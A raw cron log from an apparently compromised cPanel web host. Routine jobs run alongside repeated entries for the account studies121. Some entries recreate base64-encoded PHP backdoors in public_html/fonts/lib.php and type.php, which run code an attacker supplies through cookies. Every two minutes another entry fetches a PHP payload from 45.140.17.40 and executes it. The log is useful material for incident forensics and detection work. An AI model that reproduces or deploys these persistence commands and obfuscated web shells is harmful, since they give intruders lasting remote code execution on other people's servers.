Feb 22 18:44:01 ip-184-168-122-23 CROND[12545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:44:01 ip-184-168-122-23 CROND[12546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:44:01 ip-184-168-122-23 CROND[12547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:44:01 ip-184-168-122-23 CROND[12548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:45:01 ip-184-168-122-23 CROND[12948]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:45:01 ip-184-168-122-23 CROND[12949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:45:01 ip-184-168-122-23 CROND[12950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:45:01 ip-184-168-122-23 CROND[12947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:45:01 ip-184-168-122-23 CROND[12951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:45:01 ip-184-168-122-23 CROND[12946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:46:01 ip-184-168-122-23 CROND[13304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:46:01 ip-184-168-122-23 CROND[13308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:46:01 ip-184-168-122-23 CROND[13310]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 18:46:01 ip-184-168-122-23 CROND[13306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:46:01 ip-184-168-122-23 CROND[13307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:46:01 ip-184-168-122-23 CROND[13309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:47:01 ip-184-168-122-23 CROND[13771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:47:01 ip-184-168-122-23 CROND[13772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:47:01 ip-184-168-122-23 CROND[13773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:47:01 ip-184-168-122-23 CROND[13775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:48:01 ip-184-168-122-23 CROND[14175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:48:01 ip-184-168-122-23 CROND[14177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:48:01 ip-184-168-122-23 CROND[14176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:48:01 ip-184-168-122-23 CROND[14178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:48:01 ip-184-168-122-23 CROND[14179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:49:01 ip-184-168-122-23 CROND[14475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:49:01 ip-184-168-122-23 CROND[14474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:49:01 ip-184-168-122-23 CROND[14476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:49:01 ip-184-168-122-23 CROND[14477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:50:01 ip-184-168-122-23 CROND[14612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:50:01 ip-184-168-122-23 CROND[14614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:50:01 ip-184-168-122-23 CROND[14620]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 18:50:01 ip-184-168-122-23 CROND[14622]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 18:50:01 ip-184-168-122-23 CROND[14621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:50:01 ip-184-168-122-23 CROND[14619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:50:01 ip-184-168-122-23 CROND[14626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:50:01 ip-184-168-122-23 CROND[14625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:50:01 ip-184-168-122-23 CROND[14623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:51:01 ip-184-168-122-23 CROND[14738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:51:01 ip-184-168-122-23 CROND[14739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:51:01 ip-184-168-122-23 CROND[14741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:51:01 ip-184-168-122-23 CROND[14740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:52:01 ip-184-168-122-23 CROND[14925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:52:01 ip-184-168-122-23 CROND[14927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:52:01 ip-184-168-122-23 CROND[14929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:52:01 ip-184-168-122-23 CROND[14930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:52:01 ip-184-168-122-23 CROND[14928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:53:01 ip-184-168-122-23 CROND[15032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:53:01 ip-184-168-122-23 CROND[15034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:53:01 ip-184-168-122-23 CROND[15036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:53:01 ip-184-168-122-23 CROND[15035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:54:01 ip-184-168-122-23 CROND[15130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:54:01 ip-184-168-122-23 CROND[15132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:54:01 ip-184-168-122-23 CROND[15133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:54:01 ip-184-168-122-23 CROND[15134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:54:01 ip-184-168-122-23 CROND[15135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:55:01 ip-184-168-122-23 CROND[15348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:55:01 ip-184-168-122-23 CROND[15350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:55:01 ip-184-168-122-23 CROND[15354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:55:01 ip-184-168-122-23 CROND[15355]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:55:01 ip-184-168-122-23 CROND[15357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:55:01 ip-184-168-122-23 CROND[15358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:56:01 ip-184-168-122-23 CROND[15568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:56:01 ip-184-168-122-23 CROND[15571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:56:01 ip-184-168-122-23 CROND[15572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
